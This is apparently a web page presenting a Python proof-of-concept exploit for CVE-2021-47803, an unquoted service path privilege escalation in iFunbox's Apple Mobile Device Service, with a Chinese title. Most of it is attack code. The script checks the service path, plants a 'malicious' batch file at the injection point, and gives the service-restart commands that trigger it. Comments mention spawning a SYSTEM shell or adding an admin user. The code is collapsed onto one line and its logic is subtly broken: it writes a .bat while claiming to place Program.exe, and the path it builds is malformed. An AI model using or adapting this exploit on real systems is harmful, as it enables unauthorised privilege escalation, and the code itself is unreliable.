CVE-2021-47803 iFunbox Apple Mobile Device Service 未引用服务路径提权漏洞

#!/usr/bin/env python3 # CVE-2021-47803 PoC - iFunbox Unquoted Service Path Privilege Escalation # This PoC demonstrates the unquoted service path vulnerability in iFunbox's Apple Mobile Device Service # Author: Security Researcher # Date: 2024 import os import subprocess import sys import shutil def check_vulnerability(): """Check if target system has the vulnerable service""" try: # Query for the Apple Mobile Device Service result = subprocess.run( ['sc', 'qc', 'Apple Mobile Device Service'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: print('[+] Vulnerable service found: Apple Mobile Device Service') # Extract the binary path for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() print(f'[+] Current path: {path}') # Check if path is unquoted and contains spaces if ' ' in path and not path.startswith('"'): print('[+] VULNERABLE: Path is unquoted with spaces!') return True, path return False, None except Exception as e: print(f'[-] Error checking service: {e}') return False, None def create_malicious_executable(output_path): """Create a malicious executable for privilege escalation""" # This is a placeholder - in real attack, this would be actual malicious code malicious_code = f''' #include <windows.h> #include <stdio.h> int main() {{ // Create a new user with admin privileges // This demonstrates the privilege escalation capability FILE *f = fopen("C:\\\\Windows\\\\Temp\\\\pwned_{os.getpid()}.txt", "w"); if (f) {{ fprintf(f, "Privilege Escalation Successful!\\n"); fprintf(f, "Running as: "); // Execute whoami equivalent system("whoami >> C:\\\\Windows\\\\Temp\\\\pwned_{os.getpid()}.txt"); fclose(f); }} // Spawn a command shell with LocalSystem privileges // In real attack: system("cmd.exe") or similar return 0; }} ''' print(f'[*] Creating malicious executable stub at: {output_path}') # Note: Actual implementation would compile the C code # For demonstration, create a simple batch file with open(output_path.replace('.exe', '.bat'), 'w') as f: f.write(f'@echo off\n') f.write(f'echo [CVE-2021-47803] Privilege Escalation Triggered >> C:\\\\Windows\\\\Temp\\\\pwned.txt\n') f.write(f'whoami >> C:\\\\Windows\\\\Temp\\\\pwned.txt\n') print(f'[+] Malicious file created: {output_path}') return True def exploit(target_path): """Perform the actual exploitation""" # Parse the unquoted path to find injection point # For "C:\Program Files\iFunbox\Apple Mobile Device Service\AMS.exe" # Attack vector: Create "C:\Program.exe" path_parts = target_path.strip('"').split('\\') if len(path_parts) >= 2: # Calculate the injection point (first directory with space in name) injection_dir = path_parts[0] malicious_exe = os.path.join(injection_dir, 'Program.exe') if create_malicious_executable(malicious_exe): print(f'[+] Malicious executable placed at: {malicious_exe}') print('[+] Next step: Trigger service restart to execute payload') print(' Command: sc stop "Apple Mobile Device Service" && sc start "Apple Mobile Device Service"') return True return False if __name__ == '__main__': print('='*60) print('CVE-2021-47803 iFunbox Unquoted Service Path PoC') print('='*60) vulnerable, path = check_vulnerability() if vulnerable: print('\n[*] Attempting exploitation...') exploit(path) else: print('[-] Target not vulnerable or service not found')